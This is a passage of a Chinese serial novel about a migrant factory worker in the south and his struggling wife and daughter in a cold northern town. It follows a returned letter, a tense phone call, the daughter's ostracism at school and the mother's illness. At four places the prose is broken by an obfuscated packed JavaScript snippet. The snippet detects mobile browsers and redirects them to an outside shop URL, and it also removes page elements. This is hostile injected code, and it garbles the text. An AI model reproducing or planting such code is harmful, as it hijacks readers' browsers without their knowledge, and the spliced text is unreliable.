这个念头在她心里憋了好多天,像一颗被石头压住的种子,拼命想要破土而出。她有很多话想说,有很多委屈想问。学校里关于捐款的难堪,同学们偶尔投来的异样目光,奶奶断药后痛苦的呻吟,妈妈深夜在灯下愈发佝偻的背影,还有隔壁王婶那永远带着刺的、关于“南方享福”的议论……所有这些,都沉甸甸地压在她稚嫩的心头。 她深吸一口气,模仿着大人写信的格式,在作文本的第一行,工工整整地写下: “亲爱的爸爸:” 笔尖划破粗糙的纸张,发出“沙沙”的轻响。 “你还好吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743048|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈说你在南方的工作很重要,很辛苦。我在学校很听话,这次期中考试,我语文和数学都考了第一名。老师表扬我了。” 写到这里,她停顿了一下,眼前浮现出班主任李老师宣布成绩时,那难得对她露出的、却转瞬即逝的微笑。她多么想告诉爸爸,为了这个第一名,她有多努力,在冰冷的教室里,手指冻得握不住笔,也要一遍遍练习。 “妈妈也很好,就是……有时候晚上,我听见她好像在哭。” 写下这一句时,她的笔迹有些颤抖。她想起好几个深夜,她假装睡着,却听到外间传来母亲极力压抑的、细碎而绝望的呜咽声,那声音比窗外的风声更让她害怕。 就在这时,隔壁王婶那极具穿透力的声音,又不合时宜地、清晰地透过薄薄的墙壁传了过来,象是在对自家人说话,又分明是嚷给四邻八舍听: “哼,考第一有啥用?女娃子家,读那么多书将来还不是别人家的人?她爸倒好,一拍屁股跑去南边躲清静,留着一家老小老弱病残在这儿喝西北风!我看啊,这学能上到哪天都说不准喽!” 这话像一把冰冷的锥子,狠狠扎进张小梅的耳朵里。她握着铅笔的小手猛地收紧,指节泛白。一股混合着愤怒、委屈和巨大无助的热流冲上眼眶,视线瞬间模糊了。 她用力眨了眨眼,把那股酸涩逼了回去,不能哭,哭了字会花掉,爸爸会担心。她低下头,更加用力地,几乎是用刻的,在作文本上继续写道: “爸爸,东莞远吗?我在地图上找到了,它离我们好远好远。比王小明他爸爸去的省城还要远。” 她想起地理课上,老师指着那张巨大的、色彩斑斓的中国地图。她的目光越过熟悉的东北平原,越过黄河、长江,一直向南,向南,找到那个小小的、陌生的地名“东莞”。那么远的距离,像隔着整个天地。爸爸在那里,过的是什么样的生活?真的像王婶说的,是在“享福”吗?那为什么寄回来的钱,妈妈总是数了又数,眉头越皱越紧? “爸爸,我很想你。你什么时候回来?” 最后这一句,几乎是她心底最深处、最不加掩饰的呼唤。写完之后,她象是耗尽了所有力气,呆呆地看着那几行歪歪扭扭、却承载了她全部思念和困惑的字。 一滴滚烫的液体,终究还是没能忍住,挣脱了眼眶的束缚,直直地坠落下来,“啪”地一声,砸在刚刚写好的“回来”两个字上。 深蓝色的墨迹,遇到泪水,立刻晕染开来,像一朵骤然绽放的、忧伤的蓝色小花。字迹变得模糊,扭曲,仿佛她此刻的心情。 她慌忙抬起袖子,想去擦拭,却越擦越脏,那片蓝色晕开得更大,几乎糊成了一团。 她看着那片被泪水毁掉的痕迹,看着信纸上那些努力维持平静却终究泄露了悲伤的句子,再也忍不住,把小小的脸孔埋进臂弯里,肩膀微微地、无声地抽动起来。 作文本静静地摊在桌上,那封未完的、被泪水打湿的家书,像这个寒冷冬夜里一声无人听见的、微弱的啜泣,被封存在忽明忽暗的灯光下,也封存在一个十岁女孩早熟而沉重的心事里。窗外,风声依旧,带着北国特有的、无尽的苍凉。 14. 寒冬的暖气管 腊月的北风,终于撕下了最后一点温情的伪装,露出了獠牙。它不再是呜咽,而是咆哮,像一头无形的、暴虐的冰兽,疯狂地撞击着筒子楼单薄的墙壁和窗户。窗户上结满了厚厚的、形态狰狞的冰花,将外面灰白的世界扭曲成一片模糊的、绝望的风景。 屋子里,温度降得比外面慢不了多少。那几根横亘在房间上方、曾经在冬日里散发出令人安心暖意的铸铁暖气管,此刻摸上去,只有一种深入骨髓的、坚硬的冰冷。它们像几条死去的灰色巨蟒,僵硬地盘踞在头顶,不再有一丝活气。 寒冷,是一种具有实感的入侵者。它从四面八方的缝隙钻进来,从脚底的水泥地向上渗透,紧紧包裹住屋里的每一件物品,每一个人。空气似乎都变得粘稠而沉重,每一次呼吸,都带着冰碴,刺痛着鼻腔和肺部。 李桂兰翻箱倒柜,找出了家里所有能御寒的东西。她把那床自己结婚时缝制的、如今棉花已经板结发硬的厚棉被铺在床上,又加盖了两条打着补丁的毛毯。她和女儿张小梅,像两只在暴风雪中寻求温暖的幼兽,紧紧裹在这些沉重的、却几乎隔绝不了多少寒气的织物里,蜷缩在床铺的最中央。 “妈,冷……” 张小梅的声音从被窝里传出来,带着抑制不住的颤抖,牙齿磕碰出细碎的声响。她把冰凉的小脚使劲往母亲怀里缩。 李桂兰把女儿搂得更紧些,用自己同样冰冷的身体徒劳地试图温暖她。“忍一忍,梅子,忍一忍就过去了。” 她低声安慰着,声音却在寒气中显得飘忽无力。她的目光,不由自主地投向那几根冰冷的暖气管,眼神里是一片死寂的灰败。 就在这时,隔壁王婶家似乎传来了隐约的、带着饱足感的笑语声,还有暖气管因为热水流过而发出的、极其轻微的“叮咚”声。那声音微弱,却像针一样,精准地刺破了这边死一般的冰冷和寂静。 紧接着,王婶那特有的、拔高了音调的抱怨声就穿透了墙壁,清晰得如同在耳边响起: “这暖气烧得也不够旺!交了那么多取暖费,就给我们这点温度?冻死个人了!” 她象是故意要让这边听见,顿了顿,又用一种带着明显优越感和讥讽的语气补充道,“唉,不过啊,总比那些欠费被掐了暖气的强!那可真不是人待的地方!大人能硬扛,孩子可遭罪喽!造孽啊!” 这话,像一把淬了冰的匕首,狠狠捅进了李桂兰的心脏。她全身的肌肉瞬间绷紧,搂着女儿的手臂僵硬得像铁箍。她知道,王婶这话就是说给她听的。欠费通知单,像死亡的判决书,就压在枕头底下。她连买药的钱都凑不齐,哪里还有钱去支付这昂贵的、在她看来近乎奢侈的取暖费? 屈辱和无力感,像这屋里的寒气一样,无孔不入。她把脸埋进女儿带着皂角清香的头发里,深深吸了一口气,那气息也是冰冷的。 张小梅在母亲怀里不安地扭动了一下,仰起小脸,在昏暗中,那双眼睛显得格外大,也格外清澈。她听着隔壁隐约的喧闹和王婶刺耳的话语,小声地、带着一丝困惑和不易察觉的担忧,问道: “妈妈,爸爸那里……也这么冷吗?” 童言无忌,却像一颗投入冰湖的石子,在李桂兰早已冻结的心湖里,激起了无声却剧烈的涟漪。 南方……那个只在丈夫潦草的家书和邻居刻薄的议论中被提及的地方。是四季如春?还是同样寒冷?她不知道。她只知道,丈夫在那里,用她无法想象的辛苦,换取这微薄的、甚至不足以支付取暖费的血汗钱。 一股巨大的、混杂着思念、担忧、怨怼和无边无际悲哀的情绪,猛地攫住了她。她喉咙哽咽得发痛,几乎要控制不住那即将决堤的泪水。 她死死咬住自己的下唇,直到尝到那股熟悉的血腥味,才用尽全身力气,将那股翻腾的情绪,连同几乎要冲口而出的真实答案——“爸爸那里……是南方,不冷。”——一起,狠狠地咽回了肚子里。 这句话,轻飘飘的,落在冰冷沉寂的空气里,像一片羽毛,却带着千钧的重量。它是一个谎言,一个母亲在绝境中,能给予孩子的、最后的、也是唯一的,关于远方的、虚幻的慰藉。 说完,她更紧地搂住了女儿,将彼此冰冷的身体贴得更近,仿佛这样,就能从对方那里,汲取一点点对抗这彻骨寒冬的、微不足道的暖意。 窗外,北风依旧在咆哮。屋里,那几条冰冷的暖气管,像墓碑一样,沉默地见证着这卑微的挣扎和无言的爱。夜,还很长。寒冷,也远未到尽头。 南方的雨季,以一种黏稠而霸道的方式降临。雨水不是北方的雪粒,而是温热、绵密、无休无止的,将天地间一切都浸泡在一种湿漉漉的、挥之不去的霉腐气息里。电子厂的铁皮屋顶被雨点砸得噼啪作响,那声音不像音乐,倒像无数只烦躁的虫子在啃噬人的神经。 张建设已经连续加了整整四个夜班。流水线的轰鸣和电批的尖叫,如同刻进骨子里的烙印,即使在下工后,也在他耳蜗深处顽固地回响。他的眼皮像挂了铅块,视野里总蒙着一层驱不散的薄雾,那是极度缺乏睡眠和过度聚焦于微小螺丝带来的后遗症。身体的每一个关节都在发出酸涩的呻吟,走起路来象是踩在棉花上,又象是拖着无形的镣铐。 这天下工,雨水暂歇,但空气依旧闷热得让人喘不过气。他拖着近乎麻木的身体,随着下工的人流,像一具被抽空了灵魂的躯壳,蹒跚着走向厂区边缘那个用石棉瓦搭起来的、低矮破旧的收发室。这几乎是他每天下工后,除了吃饭睡觉之外,唯一还有点盼头的行程——盼望着来自北方的家书。 收发室的窗口又小又脏,上面沾满了泥点和手指印。负责收发信件的,是个脾气和这天气一样阴晴不定的干瘦老头。窗口前挤着几个同样满脸疲惫、眼神饥渴的工友,都伸着手,报着名字,期盼着那一纸来自远方的慰藉。 “王建国!” “有!” 一个工友兴奋地接过信,脸上露出了这暗无天日的生活里罕见的亮光。 “李卫东!” …… 张建设挤到窗口,舔了舔干裂的嘴唇,用沙哑的声音报上自己的名字:“张建设。” 老头抬起浑浊的眼睛,瞥了他一眼,手指在那一叠厚厚的、夹杂着各种广告宣传单的信件里不耐烦地翻捡着。厂里万把人,信件又多又乱,他的动作带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743049|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一种司空见惯的粗暴。 翻了一会儿,老头的动作停了一下,然后,他从一堆信件底下,抽出了一个有些皱巴巴、边角甚至被雨水洇湿过的土黄色信封。他没有立刻递出来,而是就着昏暗的灯光,眯着眼看了看信封,又看了看窗口外张建设那张充满希冀的脸。 “张建设……”老头嘟囔了一句,语气里带着一丝不易察觉的厌烦,他把那封信调转过来,用指甲盖敲了敲信封正面。 张建设这才看清,在那熟悉的、属于女儿笔迹的“张建设(收)”旁边,盖着一个刺目的、蓝色的长方形印章。印章上的字,像冰锥一样扎进他的眼睛: “逾期未领,退回原处” …… “逾期未领,退回原处”那几个字,在昏暗的光线下,扭曲着,旋转着,带着嘲讽的意味,将他心中那点微弱的火苗,“噗”地一声,彻底掐灭。 “怎么搞的?这么久不来拿?” 老头不满地抱怨着,把信从窗口扔了出来,像丢出一件垃圾,“占地方!下次再不及时领,就直接当废纸处理了!” 那封信,轻飘飘地落在沾满泥水的水泥窗台上,信封上女儿稚嫩而认真的字迹,此刻被雨水和污渍弄得有些模糊,旁边那蓝色的退回章,却鲜艳得刺眼。 张建设呆呆地看着那封信,大脑一片空白。耳朵里流水线的轰鸣声瞬间放大了无数倍,盖过了一切。他仿佛能看到,女儿在北方寒冷的夜里,就着昏黄的灯光,如何小心翼翼地写下每一个字,如何满怀期待地将信投进邮筒。而这封信,穿越了千山万水,最终却因为他连续不断的夜班,因为他像牲口一样被榨干的时间,因为他连走到收发室这短短几百米路程都无力完成的疲惫,被无情地退了回去。 逾期未领…… 他甚至连收到这封承载着女儿思念和家里近况的信,都做不到!一种前所未有的、巨大的无力感和挫败感,像这南方潮湿闷热的空气一样,死死地包裹住他,勒得他无法呼吸。他在这庞大的、冰冷的工业机器里,到底算个什么东西?一个连家书都无法及时收取的零件? 巨大的痛苦和自责,瞬间冲垮了他连日来用麻木筑起的堤坝。他猛地抬起手,不是去捡那封信,而是用尽全身力气,狠狠地、带着一种近乎自虐的愤怒,扇了自己一个耳光! “啪!”清脆的响声在嘈杂的收发室门口显得并不突出,却把他身边一个刚拿到信的工友吓了一跳,惊愕地看着他。 脸颊上传来火辣辣的疼痛,但这疼痛,远不及他心中万分之一的心痛。 他弯下腰,颤抖着,极其缓慢地,捡起那封被退回的信。信封潮湿、冰冷,攥在手里,像攥着一块冰,一直凉到了心底最深处。 他没有立刻拆开,只是死死地攥着它,指甲几乎要嵌进纸张里。然后,他转过身,一言不发,像一具彻底失去生气的行尸走肉,拖着更加沉重的步伐,一步一步,挪向那片散发着恶臭的工棚。 雨水,又开始淅淅沥沥地下了起来,打在他佝偻的背上,打在那封被退回的家书上,模糊了女儿的笔迹,也模糊了他眼前这片灰暗、绝望的世界。 15. 电话亭的争吵 南方的闷热像一口巨大的、正在缓慢煮沸的锅,湿漉漉的热气包裹着一切,连呼吸都带着黏腻的阻力。张建设拖着灌了铅的双腿,走出厂区。他手里紧紧攥着几张汗湿的毛票——这是他省下几顿早饭,加上这个月意外多发的十元“全勤奖”,才凑够的一次长途电话费。 厂区外围,沿着那条流淌着污水的河沟,一溜排开十几个用铁皮和塑料布胡乱搭就的简易电话亭。每个亭子前都排着长队,挤满了和他一样、眼神饥渴又带着几分惶恐的打工者。空气中弥漫着汗臭、河沟的腥臭和廉价香烟的味道。 张建设排了将近四十分钟,腿站得发麻,后背的工装早已被汗水浸透,紧紧贴在皮肤上,又湿又凉。终于轮到他了。他钻进那个如同蒸笼般的铁皮电话亭,里面残留着前一个使用者的体温和烟味。他颤抖着手指,将那些被汗水浸得有些发软的毛票,一张张塞进投币口,然后深吸一口气,仿佛要汲取某种力量,才用力拨通了那个烂熟于心的、北春市巷口小卖部的公用电话号码。 听筒里传来漫长的、令人心焦的“嘟——嘟——”声,每一声都敲打在他紧绷的神经上。他几乎能想象出北方那个寒冷的傍晚,小卖部老板不耐烦地拿起话筒,朝着筒子楼方向大喊:“张家电话——!” 然后妻子或女儿匆匆跑下楼的场景。 终于,电话被接起了,传来妻子李桂兰那熟悉、却带着一丝掩饰不住的疲惫和沙哑的声音:“喂?哪位?” “桂兰……是我。” 张建设的声音干涩得厉害,带着长途电话特有的、轻微的电流杂音。 “建设?!” 李桂兰的声音瞬间拔高,透出惊喜,但随即又被一种更复杂的情绪覆盖,“你……你怎么才来电话?这都多久了……” “厂里……活多,忙。” 他艰难地解释着,目光透过电话亭肮脏的塑料窗,看着外面排队工友那些焦灼、麻木的脸。一个抱着孩子的年轻女人正对着话筒低声啜泣。 “忙?再忙连打个电话的功夫都没有?” 李桂兰的语调开始发生变化,那根一直紧绷的弦,在听到丈夫声音的瞬间,似乎找到了一个宣泄的出口,“你知道家里现在什么情况吗?妈的药又断了,小梅学校的捐款,我……我硬着头皮去邻居家借的!还有电费、水费、煤钱……哪一样不要钱?你寄回来的那点,刚到手就没了影子!” 她的语速越来越快,声音里带着哭腔,积压了太久的委屈、焦虑和独自支撑的无助,像决堤的洪水,汹涌地通过这根细细的电话线,扑向千里之外的丈夫。 “昨天,煤铺的老陈又来催账,话里话外难听着呢!还有隔壁王婶,天天指桑骂槐,说……说你在外面……” 她哽咽着,说不下去了。 张建设握着听筒,感觉那塑料外壳变得滚烫。他能清晰地听到电话那头,传来北风的呼啸声,以及女儿小梅隐约的、似乎在劝阻母亲的声音:“妈,你别……” 电话亭外,几个等得不耐烦的工友开始拍打铁皮门,用带着各地方言的脏话咒骂着:“快点!磨蹭什么!后面这么多人等着呢!” 这催促声,和妻子在电话那头的哭诉,交织在一起,像一把双刃锯,反复拉扯着张建设早已疲惫不堪的神经。他想安慰妻子,想告诉她自己在南边也并不好过,想诉说流水线的残酷、工棚的恶臭、还有那封被退回的信……但所有这些话,都堵在喉咙里,变成了一团灼热的、无法言说的硬块。 他只能听着,听着妻子的抱怨像冰冷的雨水一样砸下来。他感到一种深深的无力,仿佛自己无论在这南方如何拼命,都无法填平北方那个家里越来越大的窟窿,无法缓解妻子肩上那越来越沉的重担。 “我……我知道……” 他最终只能挤出这几个苍白无力的字眼,声音低沉而沙哑,带着一种被生活彻底榨干后的虚脱。 他的沉默和这苍白的回应,似乎更加刺激了电话那头的李桂兰。 “你知道?你知道什么?!” 她的声音陡然变得尖利起来,带着一种被忽视、被抛弃的愤怒,“你一个人在外面,好歹是自由的!不用看人脸色,不用听那些闲言碎语!我和孩子呢?我们娘俩在这里,天天过的什么日子?!你知道吗?!” “哐哐哐!” 电话亭的铁皮门被砸得更响了,外面工友的骂声也越来越难听。 张建设感觉自己的头快要炸开了。妻子的指责,工友的咒骂,话筒里传来的北风的呜咽,还有他自己内心翻江倒海的委屈和疲惫,所有的一切,都混杂在一起,将他推向崩溃的边缘。 他张了张嘴,想吼回去,想告诉妻子他每天十六个小时像机器一样站着,想告诉她他那双曾经引以为傲的手现在只会机械地拧螺丝,想告诉她他连一封家书都收不到……但他最终,什么也没有说。 他只是死死地攥着听筒,指节因为用力而泛白,听着妻子在那头由抱怨逐渐变成压抑的、绝望的哭泣。 电话亭外,一双双麻木而焦灼的眼睛,透过污浊的塑料窗,无声地注视着他这个占用着宝贵通话时间、却只能在电话里承受妻子怒火的男人。那目光里,没有同情,只有一种司空见惯的冷漠,仿佛在说:看,又一个。 时间,在争吵和哭泣中,一分一秒地流逝。直到投币口传来“嘟——”的、提示余额不足的尖锐长音,紧接着,电话被自动切断了。 听筒里只剩下“嘟嘟嘟”的忙音,像一声声冰冷的嘲笑。 张建设还保持着那个握听筒的姿势,僵立在闷热恶臭的电话亭里,许久没有动弹。脸上,分不清是汗水,还是别的什么液体,正沿着他深刻着皱纹的脸颊,无声地滑落。 南方的夏夜,工棚像一个巨大的、散发着恶臭的蒸笼。白天的酷热被潮湿的水泥地吸收,到了夜晚,再混合着几十号男人的体味、汗臭、脚臭和廉价烟草的焦油味,加倍地蒸腾出来,黏稠地糊在每一个角落。蚊虫在昏黄的灯光下成群结队地飞舞,寻找着可以下口的目标,嗡嗡声不绝于耳。 张建设瘫在自己的下铺上,连脱掉那身被汗水浸透的工装的力气都没有。电话亭里妻子那混合着哭腔和指责的声音,还在他耳边嗡嗡回响,与车间里电批的尖叫、工棚里的嘈杂混乱地交织在一起,让他头痛欲裂。他闭上眼,只想尽快坠入无梦的睡眠,暂时逃离这令人窒息的一切。 然而,同工棚里那个自称“赵老板”的男人,显然不打算让这个夜晚平静地过去。 “赵老板”约莫四十多岁,身材干瘦,眼窝深陷,一双眼睛却异常活络,闪着一种与这工棚环境格格不入的、近乎亢奋的光。他以前是北方某个小县城供销社的副主任,据说因为“经济问题”下了海,折腾过不少买卖,最后都赔了,不得已流落到这电子厂打工。但这并不妨碍他每晚都以“老板”自居,向工棚里这些大多是初次离家的年轻工友们,贩卖他那些真假难辨的“光辉历史”和“发财门路”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黑暗中,张建设紧闭的眼皮下,眼球在快速转动。“合伙干”、“赚钱”、“比熬十年都强”……这些词语,像一颗颗火种,投进了他那片被现实冰冻的、名为“不甘”的荒原。 他想起了下岗时亲戚的冷眼,想起了工会门前水泄不通的绝望人群,想起了妻子在电话里的哭诉和女儿那双渴望的眼睛,更想起了自己这双曾经创造过精密零件、如今却只会机械拧螺丝的手。 难道,他这辈子,真的就只能像一头被蒙住眼睛的驴,在这看不到尽头的流水线上,一圈一圈地走到死吗?“赵老板”的话,或许有水分,或许不靠谱,但……万一是真的呢?万一,这真的是一个可以改变命运、让他重新找回尊严和价值的机会呢? 一种久违的、名为“希望”的毒药,开始在他近乎麻木的心底,悄无声息地蔓延开来。那毒药带着诱人的甜香,暂时掩盖了现实的苦涩,也麻痹了他作为技术工人固有的、对“赵老板”这种江湖客的警惕。 他没有立刻答应,甚至没有睁开眼。但他那原本僵硬的、透着绝望的背影,似乎微微松动了一些。胸腔里,那颗被生活重压得几乎停止跳动的心脏,也仿佛被注入了某种危险的兴奋剂,开始不受控制地、剧烈地搏动起来。 工棚外,不知哪里的野狗在凄厉地吠叫。蚊帐里,“赵老板”还在滔滔不绝地描绘着他的宏图伟业,声音在闷热的夜色中飘荡,像海妖的歌声,诱惑着迷失的航船,驶向未知的、可能布满礁石的彼岸。 这一夜,张建设彻夜未眠。 16. 女儿的沉默 北国的深秋,风里带着刮脸的寒意,卷起地上枯黄的落叶,打着旋儿,撞在红星小学斑驳褪色的红砖墙上。课间休息的铃声像一道赦令,瞬间将沉寂的教室点燃。孩子们如同出笼的鸟儿,欢呼着、推搡着涌向操场那片唯一能透口气的地方。 张小梅却像一尊被遗忘的石像,依旧坐在自己的座位上,低着头,手指无意识地、一遍遍描摹着木质课桌上那道不知被多少届学生刻下的、深深的划痕。 教室里空了大半,只剩下几个和她一样“不合群”的同学,散落在角落。阳光从蒙尘的窗户斜射进来,照亮空气中飞舞的无数尘埃,也照亮了她周围那片无形的、令人窒息的真空地带。 以前,她身边总是围着几个要好的女伴,分享着从家里带来的、哪怕只是一小块烤红薯,或是讨论着昨晚看的电视剧。可现在,那些曾经亲密的身影,要么刻意绕开她的座位,要么在她试图靠近时,便像受惊的麻雀般,迅速聚拢到另一边,形成一个个小声说笑、目光却时不时瞟向她这边的小团体。 “哎,你们听说了吗?张小梅她爸在南方,根本不是做什么正经工作!” 一个梳着羊角辫、穿着崭新花棉袄的女生,声音不大,却足以让教室后半部分听得清清楚楚。她是班长,父亲是街道的小干部。 “真的啊?那做什么?” “谁知道呢!反正啊,肯定不是啥光鲜活儿!要不她妈能天天愁眉苦脸,摆地摊还被城管撵?” 另一个女生附和着,语气里带着与年龄不符的世故和轻蔑。 那些话语,像细小的、冰冷的针,隔着半个教室,精准地刺进张小梅的耳朵里。她没有抬头,只是将头埋得更低,几乎要碰到冰凉的桌面。脸颊火辣辣的,不是因为害羞,而是因为一种混杂着屈辱和愤怒的灼烧感。 她攥紧了放在桌下的拳头,指甲深深掐进掌心。 体育课是她最害怕的时光。今天的内容是分组跳绳。老师刚说完“自由组合”,孩子们便呼啦一下散开,迅速找到了自己的伙伴,手拉着手,兴高采烈地组成了一个个小队。 只有张小梅,像一颗被遗落在棋盘外的孤子,僵硬地站在原地。她看着那些迅速成型、充满欢声笑语的队伍,看着她们甩动的长绳和跳跃的身影,感觉自己像个透明的、多余的影子。 她鼓起勇气,慢慢挪向以前常在一起玩的两个女生,刚张开嘴,还没发出声音,其中一个女生就象是被烫到一样,猛地拉着另一个女生的手,快速转过身,背对着她,大声说:“我们人够了!你快去找别人吧!” 那刻意提高的、带着划清界限意味的嗓音,像一盆冰水,从头顶浇下,瞬间冻结了她最后一点微弱的希望。 她默默地退到操场边缘,靠着一棵叶子几乎掉光的老槐树,看着。寒风穿过她单薄的旧棉袄,冷得她牙齿打颤,但比身体更冷的,是那颗在胸腔里不断下沉、仿佛要坠入无底冰窟的心。 下课铃响,她拖着沉重的脚步回到教室。班主任李老师——那个总是把“集体荣誉”挂在嘴边、戴着深度眼镜的中年女人,把她叫到了办公室。 办公室里炉火烧得正旺,温暖得让人有些眩晕。李老师坐在办公桌后,手里捧着一个掉了瓷的搪瓷缸,氤氲的热气模糊了她的镜片。她看着站在面前、低着头、手指紧紧绞着衣角的张小梅,叹了口气,语气是一种刻意放缓的、却更让人难受的“语重心长”: “张小梅啊,你最近的表现,老师都看在眼里。” 她顿了顿,吹了吹缸子里的热气,“你的家庭情况呢,比较……特殊。老师理解。但越是这种情况,你越要严格要求自己,把心思都放在学习上,不要给班级……抹黑,知道吗?” “抹黑”这两个字,像两块沉重的石头,砸在张小梅稚嫩的心上。她做错了什么?是爸爸去了南方?是妈妈摆了地摊?还是她连十块钱的捐款都差点交不起?她不明白,为什么这些她无法选择、也无法改变的事情,会成为她“抹黑”班级的原罪。 她没有辩解,也没有点头。只是死死地咬着下唇,直到尝到一丝血腥味,才用微不可闻的声音,从喉咙里挤出一个字: “……嗯。” 那声音轻飘飘的,带着一种被彻底压垮后的麻木。 从办公室出来,她没有回教室,而是转身走向了教学楼最尽头、那个几乎无人踏足的旧图书室。这里光线昏暗,书架落满了灰尘,空气里弥漫着纸张腐朽的气味。她在最角落、一个被废弃桌椅挡住的位置坐下,那里成了她唯一的避难所。 她从书包里掏出一本破旧的《安徒生童话》,翻开。书页已经泛黄,边角卷起。只有在这里,在那些虚幻的、充满苦难却最终迎来奇迹的故事里,她才能暂时忘记现实的冰冷,忘记同学们的窃窃私语和老师那“关怀”备至却如同枷锁的目光。 她把自己缩成一团,像一只受伤后躲进巢穴的小兽,将脸埋进带着霉味的书页里。眼泪,终于不受控制地,大颗大颗地滚落下来,迅速洇湿了书中那篇《卖火柴的小女孩》的插图。 窗外,北风呼啸,象是为这个过早体味到世态炎凉的女孩,奏响的一曲苍凉而孤独的背景音。她的沉默,不再是孩童的懵懂,而是一种在残酷现实中,被迫催生出的、带着绝望的早熟。 北方的初冬,寒意已经带着刀锋般的锐利。筒子楼的楼道里,穿堂风像狡猾的贼,寻着每一处缝隙钻进来,呜咽着,将贴在墙上的旧报纸吹得哗啦作响。李桂兰觉得这寒意,似乎比往年更早、更顽固地侵入了她的骨髓。 低烧像附骨之疽,缠缠绵绵地持续了快半个月。起初她以为是普通的伤风,喝了点姜糖水硬扛着。但咳嗽却一天比一天厉害,从偶尔的几声,变成撕心裂肺的、仿佛要把五脏六腑都掏出来的剧烈干咳。尤其是在深夜,那咳嗽声在寂静的屋子里显得格外惊心动魄,常常把睡梦中的张小梅惊醒。 胸口也时常传来一阵阵闷痛,像压着一块冰冷的石头,让她呼吸都变得费力。浑身关节酸痛无力,拆解旧毛线的手指,也变得愈发迟钝、僵硬。 “妈,你去看看吧。” 张小梅看着母亲愈发憔悴的脸色和眼底浓得化不开的青黑,小声地、带着恐惧央求道。她记得奶奶生病时,也是这样咳,后来就…… 李桂兰总是摇摇头,用沙哑的声音安慰女儿:“没事,扛一扛就过去了。看病不要钱啊?” 她下意识地摸了摸口袋,那里只有几张皱巴巴的毛票。丈夫寄回的钱,每一分都像经过精密计算,勉强维系着这个家不倒,根本没有“看病”这项预算。 然而,这天清晨,在一阵几乎让她窒息的剧烈咳嗽之后,她撑着水池边缘,看着痰盂里那抹刺目的、鲜红的血丝时,整个人都僵住了。 那抹红色,像一道闪电,劈开了她所有侥幸的心理。恐惧,冰冷的、实实在在的恐惧,瞬间攫住了她的心脏,让她手脚冰凉。 不能再拖了。 她胡乱地用冷水洗了把脸,试图驱散那令人心悸的眩晕感。安顿好婆婆,嘱咐女儿自己去上学,然后揣着家里最后那点应急的钱,拖着沉重的步子,走向了离家最近的那个社区卫生所。 卫生所设在两间破旧的平房里,光线昏暗,空气里弥漫着消毒水和某种陈旧疾病混合的、令人不适的气味。穿着已经看不出原本颜色的白大褂的医生,是个表情麻木、眼袋浮肿的中年男人。他面前排着几个同样一脸病容、唉声叹气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743051|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的老人。 等了将近一个小时,才轮到李桂兰。她坐下,低声描述着自己的症状:持续低烧,咳嗽,胸痛,还有……咳血。 医生抬起眼皮,没什么表情地看了她一眼,拿起一个老旧的手电筒,示意她张嘴,草草看了看喉咙。又用一个冰冷的听诊器,在她后背和前胸听了几下。那听诊器金属的圆盘贴在皮肤上,激得她起了一层鸡皮疙瘩。 “咳嗽多久了?以前有过肺结核吗?” 医生一边在一个破本子上写着什么,一边例行公事地问。 李桂兰心里咯噔一下,想起了很多年前,厂里组织体检,好像有过什么“肺部钙化点”的说法,但当时没在意。 “可能……可能以前有过一点……” 她含糊地说。 医生放下笔,语气依旧平淡,却带着一种不容置疑的权威:“你这情况,不像普通感冒。低烧,咳血,又有结核病史……我们这小卫生所看不了。你得去大医院,挂呼吸科,拍个胸片,好好查查。” 他撕下一张诊断建议书,龙飞凤舞地写了几个字,推到她面前。 诊断建议书上,那几个潦草的字像张牙舞爪的判官笔:“疑似肺部感染,建议转诊至上级医院进一步检查(胸片)”。 “上级医院”、“进一步检查”、“胸片”……这些词语,像一块块巨石,接连砸在李桂兰的心上。她知道去大医院意味着什么——漫长的排队,繁琐的流程,以及,最关键的,她根本无法承受的医药费。光是拍个片子,可能就要几十上百块,那几乎是家里一个月的生活费! 她捏着那张轻飘飘的、却重逾千钧的诊断建议书,手指不住地颤抖。喉咙里那股血腥气似乎又涌了上来。 她失魂落魄地走出卫生所,冰冷的空气让她打了个寒颤。阳光稀薄地照在脸上,却没有带来丝毫暖意。 